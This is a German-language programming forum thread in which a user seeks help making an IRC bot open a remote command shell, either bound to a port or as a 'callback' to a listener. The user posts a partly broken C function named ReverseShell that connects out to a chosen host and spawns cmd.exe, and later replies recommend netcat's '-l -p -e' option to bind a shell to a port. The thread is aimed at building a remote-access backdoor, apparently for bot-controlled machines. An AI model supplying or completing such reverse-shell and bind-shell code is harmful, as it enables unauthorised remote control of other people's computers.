cmd.exe an einen port binden ... wie ?



  • Hi,

    ich würde gerne eine option in meine Programm einbauen, welche die cmd.exe an einen beliebigen Port bindet. Es soll danach möglich sein eine Telnet Sitzung zu dem Port aufzubauen. Noch schöner wäre ein callback also ich starte bei mir einen listener und lasse mich anrufen ( dann funktioniert nämlich auch doskey 🙂 )

    Leider fehlt mir das nötige c KnowHow ich hoffe ihr könnt mir weiterhelfen.

    Thanx in advance

    MFG c°h°



  • Dieser Thread wurde von Moderator/in HumeSikkins aus dem Forum C++ in das Forum WinAPI verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.



  • Warum aktivierst/installierst Du nicht einfach den Telnet Dienst???

    Du kannst aber auch PsExec verwenden:
    http://www.sysinternals.com/Utilities/PsExec.html



  • Ich möchte den Befehl in einen IRC Bot einbauen der soweit schon ganz gut arbeitet (mir fehlt dann auch noch eine SSL verbindung zum IRC Server aber das kommt später )

    tia



  • Also hab jetzt eine sehr rudimentäre Version fertig. Nur frage ich mich ob es nicht geht die cmd.exe direkt an den Socket zu binden so das der input direkt ausgeführt wird und der ourtput der cmd direkt in den socketstream geleitet wird ( und nicht über eine txt datei in die der dos stream geschrieben wird. Diese lese ich dann aus und sende ihren Inhalt zurück.) Ich weiss bis jetzt ist nur ein Befehl möglich.

    void ReverseShell(const userinput * const u){
    
     int sfd, port, bytes_recv;
     struct hostent *host;
     struct sockaddr_in saddr;
     char buf[1024];
     char *command;
    
     //Socket wird erzeugt und reverse verbunden u->arg1 beinhaltet die ip, u->arg2 den Port
     host = gethostbyname(u->arg1);
     if(!host)
     {
      u_respond(u,"error resolving %s\n", u->arg1);
      return;
     }
    
     port = atoi(u->arg2);
    
     if((sfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
     {
      u_respond(u,"socket error\n");
      return;
     }
    
     bzero(&saddr, sizeof(saddr));
     saddr.sin_family = AF_INET;
     saddr.sin_port = htons(port);
     saddr.sin_addr.s_addr = *(long *)(host->h_addr);
    
     if((connect(sfd, (struct sockaddr *)&saddr, sizeof(saddr))) < 0)
     {
      u_respond(u,"connect error\n");
      return;
     }
    
     //doexec(sfd);  // hab doexec von netcat probiert führt mich leider auch nicht zum Ziel
    
     bytes_recv = recv (sfd, buf, sizeof(buf), 0);  //Befehl wird empfangen
    
     command = mycalloc(maxtextlength);
     sprintf(command,"cmd /C dir c:\ >ole.dll");  //Befehl bekommt die ricchtige syntax
    
     //Befehl wird via CreateProcess ausgeführt ( wozu brauche ich die handles, si, pi und sa ? )
     STARTUPINFO si;
     PROCESS_INFORMATION pi;
     SECURITY_ATTRIBUTES  sa;
    
     HANDLE hread, hwrite;
    
     sa.bInheritHandle= 1;
     sa.nLength = sizeof(SECURITY_ATTRIBUTES);
     sa.lpSecurityDescriptor = NULL;
    
     if(!CreatePipe(&hread,&hwrite,&sa,0)){
            u_respond(u,"Fehler beim Erstellen der Pipe");
            return;
     }
    
     si.cb = sizeof(STARTUPINFO);
     GetStartupInfo(&si);
     si.hStdInput = si.hStdOutput = si.hStdError = SOCK_STREAM;
     si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
     si.wShowWindow = SW_SHOW;
     CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
     ExitProcess(0);
    
     //WinExec(command,0);
     sleep( 2 );  //Dachte durch CreateProcess spare ich mir das Sleep dem ist aber leider nicht so
     bytes_recv = send (sfd, si.hStdOutput, sizeof(si.hStdOutput), 0);
    
     // ausgabe ( lese rfc.ocx aus )
     FILE * d_readeR;
     d_readeR = fopen("ole.dll","r");
     if(d_readeR == NULL){
     	u_respond(u,"no output");
     	return;
     }
     else{
     	char d_writeR[100];
     	while(!feof(d_readeR)){
     		if( fgets(d_writeR, 100, d_readeR) != 0) send(sfd, d_writeR, sizeof(d_writeR), 0);
     	}
     }
     fclose(d_readeR);
     remove("ole.dll");
     return;
    }
    

    Danke für jeden Verbesserungsvorsschlag sei er noch so klein 🙂

    MFG c°h°



  • Eingabe/Ausgabe umleiten siehe hier: http://support.microsoft.com/kb/190351/en-us

    Man kann dann mit einem Host-Programm die Kommunikation übernehmen und die empfangenen Daten direkt in die Konsole schreiben und die Antwort wieder empfangen.

    Wenn man die beiden Beispielprogramme kompiliert, ist das Host-Programm (redirect.exe) zu öffnen. Dort kann man eine Eingabe tätigen, die dann wieder ausgegeben wird (mit Umweg über child.exe). Das ganze passiert übrigens Multi-threaded.

    Hoffe das hilft.



  • Kennt denn niemand hier nc? NETCAT? verdammt!

    www.vulnwatch.org/netcat

    das beste tool für sowas
    einfach mit -t -l -p[port] -e [deine exe] starten!



  • @achwas: Doch ich! :p Hab mich schon die ganze Zeit gefragt, wann netcat endlich erwähnt wird 🤡



  • danke habs hinbekommen 🙂



  • SDK\NETDS\WINSOCK\DT_DLL.DSW


Anmelden zum Antworten